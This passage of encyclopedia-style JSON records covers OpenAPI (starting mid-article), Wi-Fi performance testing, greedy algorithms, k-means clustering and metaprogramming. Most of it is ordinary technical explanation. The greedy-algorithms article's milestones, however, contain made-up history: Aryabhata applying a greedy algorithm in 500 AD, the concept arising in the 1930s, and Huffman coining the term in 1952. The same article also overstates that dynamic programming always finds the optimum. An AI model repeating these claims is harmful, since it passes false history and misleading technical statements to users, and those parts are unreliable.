and efficiently, particularly when their apps are composed of microservices. \n\nBoth producers and consumers must get involved. In fact, APIs should be **consumer-driven** rather than producers defining them from just the data model. This can be extended to consumer-driven contract testing. This can catch breaking changes early. \n\nAdopt a **style guide** for your APIs. This could describe the naming convention such as using lowercase for server URLs or kebab-case for paths. This could prohibit using HTTP method names in paths. In any case, all these rules can be specified formally and used during validation. \n\nBeginners can **study OpenAPI examples** published by well-known organizations. Publicly shared OpenAPI documents from SendGrid and GitHub are worth studying. \n\n\n### What are some limitations or criticisms of OpenAPI?\n\nIn November 2021, four years after OAS 3.0's release, it was observed that many APIs were still using Swagger 2.0. Many tools that supported Swagger 2.0 have not migrated to the newer specification. This has led developers to continue with the older specification. The name change has also caused confusion. Swagger UI still exists and its only the Swagger Specification that has become OAS. \n\nOAS requires some learning curve and adjustments to workflows. For example, end-to-end testing must make way to consumer-driven contract testing. In one case study, many developers in the team didn't understand the new workflows even 12 months after the change. \n\nThere's a danger that developers might treat OAS as a magic bullet. OAS is not a shortcut to understanding an API. Techniques such as design thinking and domain-driven design are still relevant in creating great APIs.\n\n## Milestones\n\nAug  \n2011\n\n**Swagger 1.0** is released. Tony Tam started working on Swagger back in 2010 while at Wordnik. \n\nSep  \n2014\n\n**Swagger 2.0** is released. \n\nMar  \n2015\n\nSmartBear Software acquires the Swagger Specification. \n\nNov  \n2015\n\nSmartBear and a few other companies announce the formation of the **OpenAPI Initiative (OAI)**. It's formed as an open source project under the Linux Foundation. In December, the Swagger Specification is donated to the OAI. The idea is to standardize and bring formalism to how APIs are described. While Swagger, RAML and API Blueprint are available to describe APIs, OAI aims to bring out a single open specification that covers all use cases. \n\nJul  \n2017\n\n**OpenAPI Specification 3.0.0** is released, the first release of the specification from the OAI. Version identifier uses semantic versioning. Multiple servers (aliases) are supported but can be overridden by a Path Item Object. Reusable definitions are organized under the Components Object. Parameters can be complex types. Increased reusability, content negotiation, enhanced security, updated parameters, improved examples, links, and callback descriptions are some features this release brings. \n\nOct  \n2019\n\nAt Vancouver, Canada, the first **API Specifications Conference (ASC)** is organized by the OpenAPI Initiative. This conference has its origins in *APIStrat*, an API conference organized for many years by 3Scale. In 2017 and 2018, the OpenAPI Initiative hosted APIStrat that now becomes ASC. ASC welcomes participation from other communities (AsyncAPI, gRPC, GraphQL, OData, etc.). \n\nFeb  \n2021\n\n**OpenAPI Specification 3.1.0** is released. Top-level field `webhooks` is added. An OpenAPI document must have at least one of the top-level fields `paths`, `components` or `webhooks`. The specification is now fully compatible with JSON Schema 2020-12 draft. \n\nAug  \n2021\n\nPostman publishes an analysis of nearly 200,000 OpenAPI documents downloaded from various sources. Most documents in this study use the older 2.0 specifications. They find that most of them don't include license information. About 21% fail validation. About 2% include a `/status` endpoint while 4% include a `/ready` or `/healthcheck` endpoint. HTTP methods GET (44%), POST (27%) and PUT (15%) are common.","meta":{"title":"OpenAPI Specification","href":"openapi-specification"}}
{"text":"# Wi-Fi Performance Testing\n\n## Summary\n\n\nOften customers complain to their ISPs about low data rates on their broadband or fibre connections, when the actual source of the problem is the variable performance of Wi-Fi. Wi-Fi performance is influenced by many factors including the quality of devices on the network, other networks in the area that are causing interference, or obstructions such as walls. \n\nWhen testing Wi-Fi for performance, it's important to measure beyond just the throughput involving only a single active client. Testing should mimic real-world scenarios as much as possible. Performance testing for Wi-Fi clients is usually simpler than that of access points.\n\nThe purpose of such testing is to validate a deployment or identify performance issues so that corrective actions can be taken.\n\n## Discussion\n\n### What are the main metrics to measure during Wi-Fi performance testing?\n\nA good reference for Wi-Fi performance testing is TR-398, *Indoor Wi-Fi Performance Test Standard*, defined by the Broadband Forum. This looks at six metrics: RF performance, bandwidth, stability, interference, capacity, and coverage. Bandwidth deals with throughput and fairness of resource allocation across stations. \n\nWe should check for seamless connectivity as clients move across access points. To identify bottlenecks, we need to look at CPU utilization, memory usage, and buffer status.\n\nApplication-level metrics matter as well. Packet loss, latency and jitter are important metrics for audio and video streaming applications. These can be translated into an objective Mean Opinion Score (MOS) to determine how the user perceives quality. \n\n\n### In a real-world Wi-Fi deployment, what performance tests should I run?\n\nIn a typical deployment, engineers check for signal levels, coverage and throughput to ensure basic performance requirements are met. Usually a single client is used but this is far from real-world scenarios. It's therefore important to check performance when the network is loaded with multiple busy clients. Since it's hard to use hundred of real clients, an emulation-based approach can be adopted. \n\nWi-Fi environment is too dynamic to reproduce performance issues. In fact, performance testing doesn't help with troubleshooting problems. A better approach is to collect data from live networks and analyse this data. With modern Wi-Fi networks being controlled from the cloud, it's become possible to adjust a configuration, collect performance data, send it to the cloud and then evaluate if the adjustment had a positive effect. \n\nSome performance problems could be due to misconfiguration such as access point connected to the wrong switchport, poor quality cables, wrong channel assignments, or bandwidth limits unknowingly imposed. \n\n\n### What traffic models should I use for Wi-Fi performance testing?\n\nTo mimic real-world scenarios, a variety of traffic types coming from multiple devices must be used. This may include a mix of TCP and UDP data, streaming video or audio, voice calls, and a mix of mission-critical and recreational apps. \n\nThe idea of mixing different traffic types is that pattern of packet arrivals is different. Voice is periodic while video starts with a surge and then a constant rate. HTTP traffic comes in bursts as pages are loaded. We should thus monitor buffers and CPU utilization for bursty traffic as well.\n\nA classroom scenario could include multicast video streaming, parallel file downloads, and background social media traffic of small packets. A dormitory scenario could include parallel video streaming, two-way video chats, online gaming, web browsing, and social media traffic. A stadium scenario would be heavy on video streaming or audio commentary involving thousands of clients. Performance testing should consider these diverse real-world deployment scenarios.\n\n\n### Could you share some insights discovered by others during Wi-Fi performance testing?\n\nBefore starting any tests, check all cabling and configuration. Devices should be configured to exercise their maximum capability. Turn off other devices that are not part of the tests. Avoid a VPN while testing. Restart devices, stop background tasks or updates, disable antivirus, or even do a clean OS installation before starting the tests. Update devices to latest drivers. \n\nOne suggestion is to establish a baseline application throughput. This can be done by copying a large file from a server connected via Ethernet to the wireless router, to a client device connected via Wi-Fi to that router. No other clients should be on the network. Then you can add more clients to the network or try streaming traffic to see how these affect the baseline. \n\nIt's been noted that CPU utilization is higher than usual and varies the most when packet sizes are small, such as for VoIP traffic. Another finding is that device OS plays a role as well. For example, Windows clients have a longer inter-packet idle periods, thus resulting in lower throughput compared to Linux clients.\n\n\n### What tools are available for doing Wi-Fi performance testing?\n\nWhile there are many online sites to help you measure your Internet speed, this is really an end-to-end performance test. To test the performance of only the Wi-Fi network, you should do an internal test. Likewise, the speed shown in Windows OS is the transfer speed between the PC's adapter and the router, not the throughput seen by applications. \n\nFor network deployment, there are tools for site survey and generation of heat maps of signal strengths: Ekahau Site Survey, iBwave, NetScout AirMagnet, Tamograph Site Survey, SolarWinds, VisiWave Site Survey, AirMagnet Survey, Acrylic Wi-Fi, and NetSpot. \n\nFor throughput testing, iPerf3 (and its variants), Tamosoft, HE.NET Network Tools, and Ixia's IxChariot are examples. iPerf3 is open source and many tools such as WiFiPerf Professional are built on top of iPerf3. \n\nSpirent offers products that can emulate hundreds of Wi-Fi clients with different traffic types and also emulate movement across access points. Similar emulation is offered by Alethea and LANforge WiFIRE.\n\n## Milestones\n\n2010\n\nESNet begins work on **iperf3** since iperf2 was not updated for a while. The goal is to keep the tool simple and maintainable. Hence it's designed as a single thread as opposed to the multithreaded nature of iperf2. \n\n2014\n\nBob McMahon of Broadcom revives **iperf2**, fixing many of its problems and adding new features. Version 2.0.8 is released in 2015. Since iperf2 is multithreaded, it may be a better choice for generating parallel traffic streams. \n\nFeb  \n2019\n\nBroadband Forum releases TR-398, Indoor Wi-Fi Performance Test Standard. Prior to this standard, it's been generally difficult to compare performance of different devices. TR-398 enables systematic quantitative testing and performance comparisons. In it's first release, TR-398 doesn't cover 802.11ax.","meta":{"title":"Wi-Fi Performance Testing","href":"wi-fi-performance-testing"}}
{"text":"# Greedy Algorithms\n\n## Summary\n\n\nA greedy algorithm is a type of algorithm that follows the problem-solving heuristic of making the locally optimal choice at each stage with the hope of finding a global optimum. While it may not find the global optimum, greedy algorithms are often simpler and faster while being not too far from the global optimum.\n\nGreedy algorithms are being used in many areas of computer science. They're also used in operations research, engineering, finance, machine learning, bioinformatics, game theory, etc. They've become a well-established technique for solving optimization problems.\n\nThe key to developing an effective greedy algorithm is to identify the problem's specific structure and design a heuristic that makes the optimal local choice at each step. While they do have some limitations, there's ongoing research to address these limitations.\n\n## Discussion\n\n### Could you explain greedy algorithms with a simple example?\n\nSuppose you are given an array of positive integers and you want to find the subset of those integers whose sum is as large as possible, but does not exceed a given value. For instance, if you were given the array `[3, 4, 5, 6, 8]` and the limit 13, the optimal subset would be `[8, 5]`, with a sum of 13.\n\nA greedy algorithm for this problem would be to sort the array in decreasing order, then start selecting the largest numbers that don't exceed the limit, until the limit is reached. So for the example above, the steps of the algorithm would be:\n\n    + Sort the array in decreasing order: `[8, 6, 5, 4, 3]`\n    + Initialize an empty subset and a variable to track the current sum: subset = `[]`, sum = 0\n    + Start the iterations: (i) subset = `[8]`, sum = 8; (ii) subset = `[8, 5]`, sum = 13.\n    + Return the subset: `[8, 5]`\n\n### Why should I use greedy algorithms when the solution is not guaranteed to be optimal?\n\nWhile greedy algorithms don't guarantee an optimal solution, they have their benefits:\n\n    + **Simplicity**: Greedy algorithms are often simple to implement and understand, making them a good choice for problems with large inputs or when efficiency is a concern.\n    + **Speed**: Greedy algorithms are often very fast, especially when compared to more complex algorithms. This makes them a good choice for problems with large inputs.\n    + **Approximation**: Even though the greedy algorithm does not always guarantee the optimal solution, it can often give a very good approximation of the optimal solution. In many cases, the difference between the optimal solution and the solution found by the greedy algorithm is not significant.\n    + **Starting Point**: Greedy algorithms can be a good starting point for more complex algorithms. By using a greedy algorithm to quickly find a good solution, you can then refine the solution using other techniques.\n\n### What are some applications of greedy algorithms?\n\nHere are some examples of greedy algorithms:\n\n    + **Minimum Spanning Tree (MST)**: MST is useful in network design and transportation planning. Kruskal's and Prim's algorithms are greedy approaches to this problem.\n    + **Huffman Coding**: This is applied in data compression and transmission. It assigns shorter codes to more frequently occurring characters.\n    + **Knapsack Problem**: This is considered a classic optimization problem. It asks what's the best way to fill a bag of fixed capacity with items of different sizes and values. A greedy algorithm selects items based on their value-to-size ratio.\n    + **Activity Selection**: In scheduling problems, there's a need to select the maximum number of non-overlapping activities. A simple greedy algorithm solves this by selecting activities based on their finish time.\n    + **Shortest Path Algorithms**: Dijkstra's algorithm is an example. It selects the shortest path from a given vertex to all other vertices in a graph.\n    + **Coin Changing Problem**: This asks what's the minimum number of coins needed to make change for a given amount of money. This is solved by selecting the largest coin possible at each step.\n\n### How are greedy algorithms different from dynamic programming?\n\nGreedy algorithms and dynamic programming are two popular techniques for solving optimization problems, but they differ in several key ways.\n\nGreedy algorithms make the **locally optimal choice** at each step in the hope of finding a global optimal solution. Dynamic programming breaks down a problem into smaller subproblems and then solves them in a bottom-up fashion. It stores the solutions to the subproblems and reuses them to solve the larger problem.\n\nGreedy algorithms may give a **sub-optimal solution**, whereas dynamic programming always finds the optimal solution. Greedy algorithms typically make choices based only on the current state of the problem, while dynamic programming considers all possible subproblems and their solutions.\n\nGreedy algorithms typically require **less memory** because they don't need to store the solutions to all possible subproblems.\n\nGreedy algorithms are typically **faster** due to fewer calculations. However, the time complexity of greedy algorithms can be higher in certain cases.\n\nGreedy algorithms are useful when there is a **unique optimal solution**. Dynamic programming can solve a wider range of problems, including problems with multiple optimal solutions or overlapping subproblems.\n\n\n### What are some practical limitations of greedy algorithms?\n\nBecause greedy algorithms make the locally optimal choice at each step, this may not lead to the global optimal solution. In some cases, making a suboptimal choice at an early stage can lead to a better global solution. The figure shows an example in which the objective is to maximize the sum of the nodes on a top-to-bottom path. Greedy algorithm leads to a sub-optimal solution. \n\nWhere the objective function has multiple conflicting objectives, or changes non-monotonically over time, greedy algorithms will not work well. The same can be said of problems with complex constraints or a large search space. For these cases, greedy algorithms would incur a larger time complexity as well.\n\nMany optimization problems are NP-hard, which means that finding the optimal solution is computationally intractable. Greedy algorithms are not suitable for solving them, as they can't guarantee the optimal solution in a reasonable amount of time.\n\n\n### What are some recent advances with greedy algorithms?\n\n**Adaptive greedy algorithms** adjust their choices dynamically based on the problem's structure and input data. They have outperformed traditional greedy algorithms in many real-world optimization problems.\n\n**Hybrid algorithms** combine greedy techniques with other optimization techniques, such as dynamic programming or local search. These hybrid algorithms can often provide better results than either technique used alone.\n\nThere are greedy algorithms capable of **multi-objective optimization**. They can be used to find a Pareto-optimal set of solutions.\n\nIn many real-world applications, input data is received incrementally over time. **Online optimization algorithms** must make decisions in real-time, without having access to all the input data in advance. Greedy algorithms have been shown to be effective in this setting because they can make quick decisions based on the available data.\n\nResearchers have also been working on developing new methods for analysing the performance of greedy algorithms. There are new theoretical frameworks for understanding the behaviour of greedy algorithms in different types of optimization problems.\n\n## Milestones\n\n500  \nAD\n\nIndian mathematician Aryabhata uses a greedy algorithm to solve the problem of finding the largest number that can be written as the sum of two squares.\n\n1930\n\nThe modern concept of greedy algorithms was first introduced in the 1930s by mathematicians and computer scientists working on the design of algorithms for optimization problems.\n\n1952\n\nThe term **greedy algorithm** is coined by mathematician and computer scientist David A. Huffman in reference to the Huffman coding algorithm. The term \"greedy\" refers to the algorithm's strategy of always choosing the option that seems best at the time, without considering the possible consequences of that choice on future steps.\n\n1956\n\nComputer scientist Joseph Kruskal develops a greedy algorithm for finding the **minimum spanning tree** of a graph. In 1957, Robert Prim develop's his own greedy algorithm for the solving the same problem. Also in 1956, Edsger Dijkstra develops a greedy algorithm for finding the **shortest path** in a graph. The same year L. R. Ford and D. R. Fulkerson develop a greedy algorithm for solving the **maximum flow problem** in a network.\n\n1980\n\nIn the 1980s, researchers develop a variety of **approximation algorithms** based on greedy techniques, which provide near-optimal solutions to NP-hard problems. This research continues into the 1990s.","meta":{"title":"Greedy Algorithms","href":"greedy-algorithms"}}
{"text":"# k-Means Clustering\n\n## Summary\n\n\nThe k-means Clustering method is an unsupervised machine learning technique that groups unlabelled dataset into different clusters.\n\nThe algorithm starts with a group of randomly selected 'k' centroids as the beginning points for every cluster. Then, iterative calculations optimize the centroid positions. \n\nThe clusters in the example are distinguished by color and current cluster seeds (centroids) are marked by a starburst. In the first round, each point is assigned to its closest seed, and a new seed is chosen for each cluster based on the average of all points in that cluster. As a result, the blue cluster seed moves to the right. In the second round, both cluster seeds drift to their correct locations in a proper division. After two rounds, the clusters have reached a steady-state, and wouldn't change further through an infinite number of iterations.\n\n## Discussion\n\n### What similarity measures are applicable for clustering?\n\nClustering is done on the basis of a similarity measure to group similar data objects together. Similarity is an amount to reflect the strength of relationship between two data items, to represent how similar two data patterns are. A similarity measure is the distance between various data points. \n\nTo group objects in clusters, this similarity measure is most commonly based on distance functions such as Euclidean distance, Manhattan distance, Minkowski distance, Cosine similarity, etc. The clusters are formed such that any two data objects in a cluster have a minimum distance value and any two data objects across different clusters have a maximum distance value. Clustering using distance functions, called distance based clustering, is popularly used to cluster objects. \n\n\n### What are the main objectives of the k-means clustering algorithm?\n\nThe main objectives of the k-means algorithm are:\n\n    + Determine the best value of k center points (centroids) iteratively.\n    + Assign each data point to its closest k-center. The data points closer to a particular k-center (with minimum Euclidean distance) form a cluster.\n    + Minimize the sum of distances between the data points and their corresponding cluster centroid.\n\n### Could you share some use cases of k-means clustering?\n\nThis algorithm is used across a variety of applications such as image segmentation, image compression, cyber-profiling criminals, document classification, market/customer segmentation, clustering of IT alerts, delivery store optimization, insurance fraud detection, etc. \n\nFor example, in image compression, k-means clustering groups similar colors together into 'k' clusters (say k=64) of different colors. Hence, each cluster centroid represents the three-dimensional color vector in RGB color space of its respective cluster. Then, these 'k' cluster centroids will replace all the color vectors in their respective clusters. \n\nIn the original image, each pixel takes 24 (8x3) bits to store its corresponding color vector. After k-means algorithm is applied, each pixel takes only 6 bits to store as it stores only the label of the cluster to which it belongs. K=64 different color vectors can be represented using 6 bits only. The final image will have 64 different colors in its RGB color space. \n\n\n### Are there any variations of the k-means algorithm?\n\nYes. The following are some of the variations of the k-means algorithm:\n\n    + k-medians clustering - uses the median in each dimension (instead of the mean) for optimal clustering.\n    + k-medoids (Partitioning Around Medoids) - uses medoid instead of mean, and minimizes the sum of distances for arbitrary distance functions.\n    + Fuzzy C-Means clustering - A soft version of k-means, where each data point has a fuzzy degree of belonging to each cluster.\n    + k-means++ - This is the standard k-means algorithm coupled with a smarter initialization of the centroids.\n\n### What are the steps of the k-means clustering algorithm?\n\nThe first step in k-means clustering algorithm is to randomly choose k centroids (k is the number of clusters to be formed). Each data point is assigned to its nearest centroid. The mean of all points in each cluster is computed and a new centroid is selected. Through iterations, the last 2 steps are repeated until the centroid positions do not change. \n\n\n### What are the major challenges associated with k-means clustering?\n\n    + Initialization sensitivity - Since the initialization process of the standard k-means algorithm is random, it leads to the problem of initialization sensitivity. For larger and more complex datasets, the run-time of the algorithm is longer and it may not reach optimal clustering.\n    + Clustering data of varying sizes and densities - k-means has trouble clustering data where the clusters are of varying sizes and densities. Usually, to cluster such data, you need to generalize k-means. While the k-means algorithm clusters the given data sets uniformly when used for uniform data sets, it fails to form clusters as per requirements when used for data sets of varying densities or distances between data sets.\n    + Clustering outliers - Centroids can be dragged by outliers, or outliers might get their own cluster instead of being ignored. To overcome this challenge, outliers could be clipped or removed before clustering.\n    + Scaling with number of dimensions - With increasing number of dimensions (variables), more data-points become nearest neighbours of a selected centroid, until the choice of nearest neighbour is nearly random. The distances between a data point and its nearest and farthest neighbours could become equidistant with increases dimensions.\n\n### What are the ways to avoid the problem of initialization sensitivity in k-means algorithm?\n\nThere are two ways to avoid the problem of initialization sensitivity:\n\n    + Repeat k-means: The algorithm is executed repeatedly. The centroids are initialized and the clusters are formed to result in smallest intra-cluster distance and larger inter-cluster distance.\n    + k-means++: This is a smart centroid initialization technique. Only one centroid is initialized randomly, and other centroids are chosen such that they are very far from the initial centroid/s. This results in faster convergence and lower possibility of the centroid being poorly initialized.Between the two techniques that can be implemented to avoid the problem of initialization sensitivity, K means++ provides comparatively better results. \n\n\n### How to decide the optimal number of k in k-means algorithm?\n\n \n\n    + Elbow method - The sum of squared distance (SSE) is used to select an ideal k value. This is based on the distance between the data points and respective clusters. A value of k is chosen such that the SSE begins to flatten out and an inflection point is seen. Visually, this graph looks similar to an elbow, hence the name.\n    + Average Silhouette method - This measures the quality of clustering and determines how well each object lies within its cluster. The similarity/dissimilarity score is measured between the assigned cluster and the next best/nearest cluster for each data point. The average silhouette of observations is calculated for different values of k. The optimal k is one that maximizes the average silhouette over a range of possible values for k.\n    + Gap statistic method - The total intra-cluster variation is compared for different k values with their expected values under null reference distribution of data (i.e. a distribution with no obvious clustering). The optimal k value is one that maximizes the gap statistic value.\n\n### What are the possible stopping criteria in k-means algorithm?\n\nThe following are possible stopping conditions in k-means algorithm:\n\n    + Stability: The centroids of new clusters do not change.\n    + Convergence: The algorithm has converged at the minima i.e., the points stay in the same cluster.\n    + Maximum number of iterations has been reached: While the number of iterations limits the run-time of the algorithm, the quality of the clustering could be poor due to an insufficient number of iterations.\n    + When Residual Sum of Squares(RSS)/ within-cluster sum of squares falls below a threshold: This ensures the desired quality of clustering after termination. The combination of this with a bound on the number of iterations guarantees convergence.\n\n### How to perform k-means on larger datasets to make it faster?\n\nFor large datasets, an alternative to k-means is the mini-batch k-means. Unlike k-means, this doesn’t iterate over the entire dataset. It uses small, random, fixed-size batches of data to store in memory. With each iteration, a random sample of data is obtained and used to update the clusters. The means are calculated and the cluster centres are re-calculated using gradient descent. This is repeated until convergence. Mini-batch k-means has been known to provide faster convergence than k-means, with a slightly different cluster output. \n\n## Milestones\n\n1956\n\nThe mathematician Hugo Steinhaus publishes an article titled \"Sur la Division des Corps Materials en Parties\". He presents the problem of partitioning a heterogeneous solid by the adequate selection of partitions.\r The article's conclusion mentions that diverse questions about types in anthropology or industrial object normalization require a solution based on the determination of n fictitious representatives of a numerous population, chosen so as to minimize as much as possible the deviations between population elements and those from the sample. The deviation is measured between every actual element and the closest fictitious element. \n\n1957\n\nThe concept of k-means algorithm was first suggested by Stuart Lloyd as a code for pulse-code modulation. In his article, he mentions that this algorithm may result in local optima since it is critical to initial cluster heads so formed arbitrary. The partitioning method comprises of k partitions of data, where each partition denotes a cluster with respective cluster heads such that k ≤ n(data objects). Categorizing the data into k clusters must fulfil the two requirements: i) Every cluster must comprise of one or more data objects. ii) Every object must belong to exactly one cluster. \n\n1958\n\nIn the paper 'On Grouping for Maximum Homogeneity', Walter D Fisher discusses the practical procedure for grouping a given set of arbitrary numbers, so that the variance within groups is minimized. For problems up to size of 200 numbers to be placed in 10 groups, he considers two types of problems. First is the unrestricted problem, where no restrictions or side conditions are imposed on the partitions allowed. Second is the restricted problem, where such conditions are imposed a priori on the basis of previous knowledge, theory, or for convenience. \n\n1963\n\nIn Principles of Numerical Taxonomy, Sokal and Sneath use Operational Taxonomic Units (OTUs) to measure and count as many characters as possible of the organisms to be compared. Based on a matrix of variation in all features across all OTUs, the OTUs are then compared by overall similarity, affinity, or phonetic distance. The results are displayed by means of a network or OTUs are linked to each other by a clustering algorithm to produce a phenogram. Following this, many different ways have been proposed to measure pair-wise similarity or dissimilarity, and many different clustering methods have also been devised. \n\n1967\n\nJames MacQueen, from the Department of Statistics of the University of California, introduces the term k-means in his article titled \"Some Methods for Classification and Analysis of Multivariate Observations\". He proposes an algorithm to partition an instance into a set of clusters whose variance is small for each cluster. Prior to the term k-means being coined by him, it was known by names like dynamic clustering method, iterative minimum-distance clustering, nearest centroid sorting, and h-means, among others. \n\n1969\n\nEngelman and Hartigan, in their article 'Percentage Points of a Test for Clusters', state that a set of observations may be partitioned into two clusters to maximize the ratio of between sum of squares to within sum of squares. This maximum ratio is the likelihood ratio test statistic for the observations to come from two normal populations, with different means but the same variance. They consider the null hypothesis, that the observations are a sample from a single normal population. \n\n1973\n\nIn the book 'Cluster Analysis for Applications', various methods and applications of cluster analysis has been covered, as well as the category solving problems and the need for cluster analysis algorithms. This includes variables and scales to measures of association among variables and among data units. The conceptual problems in cluster analysis is discussed, along with hierarchical and non-hierarchical clustering methods.","meta":{"title":"k-Means Clustering","href":"k-means-clustering"}}
{"text":"# Metaprogramming\n\n## Summary\n\n\nPrograms typically read input data, operate on that data and give some output data. **Metaprograms** read another program, manipulate that program and return a modified program. Sometimes a metaprogram can change its own behaviour by updating itself. The act of writing metaprograms is called metaprogramming. The language used to write metaprograms is called **metalanguage**. \n\nIn general, where code itself needs to change with the data, metaprogramming can be an effective approach. Metaprograms treat code as data, and data as code. \n\nWhile metaprogramming has been around for decades, it only from the mid-1990s that it received increasing attention. More and more languages are supporting metaprogramming. Principles of metaprogramming have led to higher levels of abstractions such as meta-modeling, metadesign, metaengineering and Model-Driven Engineering (MDE).\n\n## Discussion\n\n### Could you explain metaprogramming with an example?\n\nAssume you're asked to write a program to print numbers 1 to 1000 but without using any looping constructs in the code. The obvious way to do this is to explicitly print each number. Writing such a code becomes tedious for the programmer. For example, in a shell script, you would have to type `echo 1`, `echo 2`, and so on till `echo 1000`. However, it's possible to write another shell script with a for loop that outputs the desired program containing these 1000 echo commands. In other words, we've written a program to produce another program. \n\nIn the above example, a shell script produces another shell script. This need not be the case. The metaprogram could be in a different language than the target language. For example, a Ruby script could be used to output C source code. \n\n\n### What are some use cases of metaprogramming?\n\nMetaprogramming has many applications: compiler generation, application generation, code analysis, generic component design, program transformations, software maintenance/evolution/configuration, anticipatory optimization, design patterns, partial evaluation, and more. \n\nCompilers, transpilers, assemblers and interpreters are examples of metaprograms. They take programs in one form and transform them into machine code, bytecode or even source code in another language. Lex and Yacc are metaprograms. Programs that read database metadata and output EJB or XML code are further examples. Dynamic or interpreted languages usually have an `eval()` function that allows execution of code supplied as strings. This is also metaprogramming. \n\nActiveRecord is a database ORM framework used in Ruby on Rails. When calling a method that's not defined, due to predefined conventions, the method gets created on the fly. This implies that a developer writes less manual code. \n\nMetaprogramming has been applied to numerical algorithms such as for solving Ordinary Differential Equations (ODEs). \n\nAnother example is the Hone modular graphing library written in Julia. Data points, axes and legends are composed as strings and executed to create the plot. \n\n\n### What's the formal definition of metaprogramming?\n\nOne definition sees metaprogramming as introducing a higher level of abstraction: \"the technique of specifying generic software source templates from which classes of software components, or parts thereof, can be automatically instantiated to produce new software components.\" \n\nWe could define metalanguage thus: \"any language or symbolic system used to discuss, describe, or analyze another language or symbolic system is a metalanguage.\" This leads to the definition of metaprogramming: \"creating application programs by writing programs that produce programs.\" \n\nAnother definition that emphasizes program generation: \"metaprograms manipulate object-programs\" where metaprograms \"may construct object-programs, combine object-program fragments into larger object-programs, observe the structure and other properties of object-programs.\" A simpler definition is, \"Metaprogramming is writing programs that themselves write code.\" \n\n\n### What are the benefits of metaprogramming?\n\nMetaprogramming has many benefits:\n\n    + **Extensible**: Since code is treated as data, it's easy to extend programs. Code can be added by simply adding metadata.\n    + **Performance**: Instead of having variables in memory and passing them around, everything is packed into a concatenated string and executed. Metaprogramming enables abstractions without runtime penalty. It can be useful in pushing computations from runtime to compile time. Metaprograms can help tune programs to specific architectures. Specialized efficient programs are better than generic inefficient ones.\n    + **Less Code**: In the long term, metaprogramming automates code writing and reduces manual effort. The use of macros (such as in C or C++) saves development time and promotes reusable code. Recurring code patterns can be abstracted and reused even when functions, generics or classes are unable to this.\n    + **Correctness**: Compiling code from a high-level language to machine code or bytecode is not something we wish to do manually. If done manually, it's easy to introduce errors. Metaprograms help in such tedious but necessary tasks.\n    + **Reasoning**: Metaprograms such as flow analyzers and type checkers help us discover properties about programs, validate behaviour or improve performance.\n\n### How do we classify the various types of metaprogramming?\n\nIn **Homogeneous MP**, the object language and metalanguage are the same. Examples include Racket, Template Haskell, MetaOcaml, and Converge. In **Heterogeneous MP**, these are different. For example, a Java compiler is written in C. In **Generative MP**, the metaprogram generates an output program. In **Intensional MP**, the metaprogram analyzes the input program, by way of reflection. Combining the above two classifications, we note an important class called **Homogeneous Generative Meta-Programming (HGMP)**. \n\nAnother classification is based on when metaprograms execute: **Compile-Time MP (CTMP)** or **Run-Time MP (RTMP)**. CTMP examples include the Lisp family, Template Haskell, Converge and C++. RTMP examples include the MetaML family, JavaScript and printf-based MP. Converge and Scala support both. There are also implicit and explicit flavours of compile-time evaluation. \n\nCTMP and RTMP could be called static and runtime respectively. With RTMP, the metaprogram produces new code, which is immediately executed. If the new code is also a metaprogram, we called this **multi-stage programming**. \n\nMetaprogramming requires us to annotate static code fragments (the metaprogram) from dynamic ones generated by the metaprogram. This gives rise to two flavours, **manually annotated MP** versus **automatically annotated MP**. \n\n\n### In metaprogramming, how are programs represented as data?\n\nCommon ways of representing programs include:  \n\n    + **Strings**: Simplest and terse. Typically runtime evaluation but some languages offer compile-time support.\n    + **Abstract Syntax Trees (ASTs)**: Code fragments represented as a tree. For example, \\(2+3\\) can be written as \\(ast\\_{add}(ast\\_{int}(2), ast\\_{int}(3))\\).\n    + **Up MetaLevels (UpMLs)**: Represent AST-like structures as quoted chunks of normal program syntax. \\(2+3\\) can be written as \\(\\uparrow\\{2+3\\}\\).\n    + **Down MetaLevels (DownMLs)**: Used to express holes in UpMLs. Evaluated first to yield an AST. If function \\(f\\) returns the AST for \\(2+3\\), then \\(\\uparrow\\{\\downarrow\\{f()\\} \\*4\\}\\) is a valid expression.Adopting a suitable representation depends on syntactic overhead, expressivity, support for the target language and support for generating 'valid' programs. Hygiene is also important, which is about managing free and bound variables. Typically, we want the terseness of strings (ASTs are verbose) and the syntactic correctness of ASTs. UpMLs (aka quasi-quotes, backquotes) and DownMLs (aka splices, inserts) offer the best of both worlds. \n\nLilis and Savidis (2020) give a more complete discussion of metaprogramming models include macro systems, reflection systems, Meta Object Protocols (MOPs), Aspect-Oriented Programming (AOP), generative programming and multi-stage programming. \n\n\n### Which languages offer support for metaprogramming?\n\nMany languages support metaprogramming including Python, Ruby, JavaScript, Java, Go, Clojure, and Julia. Groovy, Java, Racket, Common Lisp and Scheme are examples that support both CTMP and RTMP. CPP, M4, Racket, Reflective Java and AspectC++ are examples that support Preprocessing-Time MP (PPTMP). Interested readers can refer to *A Survey of Metaprogramming Languages* by Lilis and Savidis (2020).\n\nMany languages such as Scala, Rust or JavaScript support metaprogramming by design. Others such as C++ evolved to support metaprogramming. \n\nInterpreted languages usually have the `eval()` function. Examples include Lisp, Perl, Ruby, Python, PHP and JavaScript. In such languages, we could generate the code within the program and pass this code into `eval()` for execution. For example, we could do this in Ruby: `x = 3; s = 'x + 1'; puts eval(s)`. \n\nUpMLs are supported in Racket, MetaOCaml and Converge. Popular languages including Python, Ruby, Groovy and Perl support MOP based on metaclasses. \n\n\n### What are some challenges or shortcomings of metaprogramming?\n\nMetaprogramming, both in theory and practice, has many open problems. C++ template metaprogramming is not pretty. Scala had to rewrite it's implementation for metaprogramming. MetaOcaml has typing problems. There's no consistent terminology. Tooling is not mature. For example, it's hard to debug metaprograms. \n\nExecuting strings as code can lead to insecure code, particularly when the strings come from untrusted sources. However, languages may provide some support to make it safer. For instance, Python's decorators are safer than strings for metaprogramming. \n\nWriting code as strings reduces readability and is likely to introduce bugs. Strings might use lots of regular expressions. When strings can't be parsed due to some programming error, we might see unexpected output. \n\nMetaprogramming is hard and harder for beginners. Someone who doesn't know the language constructs (such as macros in Lisp) will find it very hard to understand metaprograms written by others. \n\n## Milestones\n\n1940\n\nWillard Van Orman Quine invents **quasi-quote and splicing**. These concepts would later prove to be useful for metaprogramming. In fact, the term **quine** is coined decades later to refer to a computer program that takes no input and outputs its own source code. Quines can be considered as special metaprograms. \n\n1963\n\nIn a short MIT memo, Timothy P. Hart introduces **macros** into Lisp. In the 1970s, Lisp becomes possibly the first language to support HGMP. \n\n1997\n\nTwo paradigms of metaprogramming emerge: Aspect-Oriented Programming (AOP) and Multi-Stage Programming. It's also during the years 1995-2000 that many metalanguages and metaprogramming systems emerge. 